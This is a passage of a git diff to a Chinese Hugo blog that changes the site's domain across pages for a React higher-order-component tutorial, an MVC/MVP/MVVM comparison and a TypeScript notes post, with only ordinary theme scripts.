+      &lt;/div&gt;
+    ) 
+}
+const Demoyes = withHallo(PostMax)
+ReactDOM.render(&lt;Demoyes /&gt;,document.getElementById(&quot;app&quot;))
+</code></pre><p>可以从上面的实例看出，实质上就是通过函数参数方式接收一个组件，再返回一个新的组件，达到“包装”更多的功能给组件</p><hr><p>使用高阶组件会导致获得的组件名称相同，名称取自于高阶组件中的类组件名称</p><p>通过设置displayName，来区分不同的组件，displayName是用来设置调试信息（react developer tools消息）的</p><p>可以通过react developer tools浏览器插件查看效果</p><p>通过给高阶组件中的类组件设置displayName，例如：</p><pre><code>const withHallo = (DemoAbc) =&gt;{
+    class App extends React.Component{
+        ......
+    }
+    App.displayName = `WithHallo${ADisplayName(DemoAbc)}`
+    return App
+}
+function ADisplayName(DemoAbc){
+    return DemoAbc.displayName || DemoAbc.name || &quot;Component&quot;
+}
+</code></pre><hr><p>传递props（避免props丢失）</p><p>通过高阶组件返回的组件中，是获取不到props的，因为数据都传递给高阶组件中的类组件了（高阶组件没有往下传递props）</p><p>只需要将state和this.props一起传递就可以解决，例如：</p><pre><code>render() {
+    return (
+        &lt;div onMouseMove= {this.onAbc}&gt;
+            &lt;DemoAbc  {...this.state} {...this.props} mouse={this.state}&gt;&lt;/DemoAbc&gt;
+        &lt;/div&gt;
+    )
+}
+const PostMax = (props) =&gt;{
+    const { x, y } = props.mouse
+    // eslint-disable-next-line no-undef
+    console.log(props)
+    return (
+      &lt;div &gt;
+        &lt;p&gt;(x:{x}, y:{y})&lt;/p&gt;
+      &lt;/div&gt;
+    ) 
+}
+const Demoyes = withHallo(PostMax)
+ReactDOM.render(&lt;Demoyes a=&quot;hallo&quot;/&gt;,document.getElementById(&quot;app&quot;))
+</code></pre><p>通过上面的方法向下传递props就能获取到a的值了， {&mldr;this.state} {&mldr;this.props}</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/react/>React</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/56/><span class=title>« Prev</span><br><span>简单了解MVC，MVP和MVVM之间的不同与联系</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/54/><span class=title>Next »</span><br><span>Ajax学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/56/index.html b/posts/56/index.html
index c523b9c6..3e0231a6 100644
--- a/posts/56/index.html
+++ b/posts/56/index.html
@@ -4,21 +4,21 @@
 MVP（Model-View-Presenter）实质是就是将Controller（控制器，逻辑）改为Presenter（从模型中获取数据，并且提供数据给视图）
 各个通信之间是双向的，视图和模型并不联系，通过Presenter进行传递，全部逻辑都在Presenter进行处理
 MVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基本一致，不过MVVM采用了双向绑定，视图变化，自动反映在ViewModel中
-在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/56/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单了解MVC，MVP和MVVM之间的不同与联系"><meta property="og:description" content="MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）
+在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/56/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单了解MVC，MVP和MVVM之间的不同与联系"><meta property="og:description" content="MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）
 视图层发指令（Dom事件）给控制器，控制器完成逻辑处理，请求模型改变状态，模型将最新的数据发送给视图，得到反馈，各个之间通信是单向的
 也可以Controller接受指令，要求模型改变状态，模型将最新的数据发送给视图
 MVP（Model-View-Presenter）实质是就是将Controller（控制器，逻辑）改为Presenter（从模型中获取数据，并且提供数据给视图）
 各个通信之间是双向的，视图和模型并不联系，通过Presenter进行传递，全部逻辑都在Presenter进行处理
 MVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基本一致，不过MVVM采用了双向绑定，视图变化，自动反映在ViewModel中
-在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/56/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-09T22:50:00+00:00"><meta property="article:modified_time" content="2021-07-09T22:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单了解MVC，MVP和MVVM之间的不同与联系"><meta name=twitter:description content="MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）
+在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/56/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-09T22:50:00+00:00"><meta property="article:modified_time" content="2021-07-09T22:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单了解MVC，MVP和MVVM之间的不同与联系"><meta name=twitter:description content="MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）
 视图层发指令（Dom事件）给控制器，控制器完成逻辑处理，请求模型改变状态，模型将最新的数据发送给视图，得到反馈，各个之间通信是单向的
 也可以Controller接受指令，要求模型改变状态，模型将最新的数据发送给视图
 MVP（Model-View-Presenter）实质是就是将Controller（控制器，逻辑）改为Presenter（从模型中获取数据，并且提供数据给视图）
 各个通信之间是双向的，视图和模型并不联系，通过Presenter进行传递，全部逻辑都在Presenter进行处理
 MVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基本一致，不过MVVM采用了双向绑定，视图变化，自动反映在ViewModel中
-在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单了解MVC，MVP和MVVM之间的不同与联系","item":"https://xiaochenabc123.github.io/posts/56/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单了解MVC，MVP和MVVM之间的不同与联系","name":"简单了解MVC，MVP和MVVM之间的不同与联系","description":"MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）\n视图层发指令（Dom事件）给控制器，控制器完成逻辑处理，请求模型改变状态，模型将最新的数据发送给视图，得到反馈，各个之间通信是单向的\n也可以Controller接受指令，要求模型改变状态，模型将最新的数据发送给视图\nMVP（Model-View-Presenter）实质是就是将Controller（控制器，逻辑）改为Presenter（从模型中获取数据，并且提供数据给视图）\n各个通信之间是双向的，视图和模型并不联系，通过Presenter进行传递，全部逻辑都在Presenter进行处理\nMVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基本一致，不过MVVM采用了双向绑定，视图变化，自动反映在ViewModel中\n在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode","keywords":[],"articleBody":"MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）\n视图层发指令（Dom事件）给控制器，控制器完成逻辑处理，请求模型改变状态，模型将最新的数据发送给视图，得到反馈，各个之间通信是单向的\n也可以Controller接受指令，要求模型改变状态，模型将最新的数据发送给视图\nMVP（Model-View-Presenter）实质是就是将Controller（控制器，逻辑）改为Presenter（从模型中获取数据，并且提供数据给视图）\n各个通信之间是双向的，视图和模型并不联系，通过Presenter进行传递，全部逻辑都在Presenter进行处理\nMVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基本一致，不过MVVM采用了双向绑定，视图变化，自动反映在ViewModel中\n在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode\n","wordCount":"7","inLanguage":"en","datePublished":"2021-07-09T22:50:00Z","dateModified":"2021-07-09T22:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/56/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单了解MVC，MVP和MVVM之间的不同与联系</h1><div class=post-meta><span title='2021-07-09 22:50:00 +0000 UTC'>2021-07-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%ba%86%e8%a7%a3MVC%ef%bc%8cMVP%e5%92%8cMVVM%e4%b9%8b%e9%97%b4%e7%9a%84%e4%b8%8d%e5%90%8c%e4%b8%8e%e8%81%94%e7%b3%bb.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）</p><p>视图层发指令（Dom事件）给控制器，控制器完成逻辑处理，请求模型改变状态，模型将最新的数据发送给视图，得到反馈，各个之间通信是单向的</p><p>也可以Controller接受指令，要求模型改变状态，模型将最新的数据发送给视图</p><p>MVP（Model-View-Presenter）实质是就是将Controller（控制器，逻辑）改为Presenter（从模型中获取数据，并且提供数据给视图）</p><p>各个通信之间是双向的，视图和模型并不联系，通过Presenter进行传递，全部逻辑都在Presenter进行处理</p><p>MVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基本一致，不过MVVM采用了双向绑定，视图变化，自动反映在ViewModel中</p><p>在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode</p></div><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/58/><span class=title>« Prev</span><br><span>TypeScript学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/55/><span class=title>Next »</span><br><span>React学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单了解MVC，MVP和MVVM之间的不同与联系","item":"https://chenjunlinabc.github.io/posts/56/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单了解MVC，MVP和MVVM之间的不同与联系","name":"简单了解MVC，MVP和MVVM之间的不同与联系","description":"MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）\n视图层发指令（Dom事件）给控制器，控制器完成逻辑处理，请求模型改变状态，模型将最新的数据发送给视图，得到反馈，各个之间通信是单向的\n也可以Controller接受指令，要求模型改变状态，模型将最新的数据发送给视图\nMVP（Model-View-Presenter）实质是就是将Controller（控制器，逻辑）改为Presenter（从模型中获取数据，并且提供数据给视图）\n各个通信之间是双向的，视图和模型并不联系，通过Presenter进行传递，全部逻辑都在Presenter进行处理\nMVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基本一致，不过MVVM采用了双向绑定，视图变化，自动反映在ViewModel中\n在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode","keywords":[],"articleBody":"MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）\n视图层发指令（Dom事件）给控制器，控制器完成逻辑处理，请求模型改变状态，模型将最新的数据发送给视图，得到反馈，各个之间通信是单向的\n也可以Controller接受指令，要求模型改变状态，模型将最新的数据发送给视图\nMVP（Model-View-Presenter）实质是就是将Controller（控制器，逻辑）改为Presenter（从模型中获取数据，并且提供数据给视图）\n各个通信之间是双向的，视图和模型并不联系，通过Presenter进行传递，全部逻辑都在Presenter进行处理\nMVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基本一致，不过MVVM采用了双向绑定，视图变化，自动反映在ViewModel中\n在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode\n","wordCount":"7","inLanguage":"en","datePublished":"2021-07-09T22:50:00Z","dateModified":"2021-07-09T22:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/56/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单了解MVC，MVP和MVVM之间的不同与联系</h1><div class=post-meta><span title='2021-07-09 22:50:00 +0000 UTC'>2021-07-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%ba%86%e8%a7%a3MVC%ef%bc%8cMVP%e5%92%8cMVVM%e4%b9%8b%e9%97%b4%e7%9a%84%e4%b8%8d%e5%90%8c%e4%b8%8e%e8%81%94%e7%b3%bb.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）</p><p>视图层发指令（Dom事件）给控制器，控制器完成逻辑处理，请求模型改变状态，模型将最新的数据发送给视图，得到反馈，各个之间通信是单向的</p><p>也可以Controller接受指令，要求模型改变状态，模型将最新的数据发送给视图</p><p>MVP（Model-View-Presenter）实质是就是将Controller（控制器，逻辑）改为Presenter（从模型中获取数据，并且提供数据给视图）</p><p>各个通信之间是双向的，视图和模型并不联系，通过Presenter进行传递，全部逻辑都在Presenter进行处理</p><p>MVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基本一致，不过MVVM采用了双向绑定，视图变化，自动反映在ViewModel中</p><p>在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode</p></div><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/58/><span class=title>« Prev</span><br><span>TypeScript学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/55/><span class=title>Next »</span><br><span>React学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/58/index.html b/posts/58/index.html
index 51acddc0..a5b0ac63 100644
--- a/posts/58/index.html
+++ b/posts/58/index.html
@@ -34,8 +34,8 @@
 boolean布尔值，例如：
 let hallo: boolean = true
 number数值，例如：
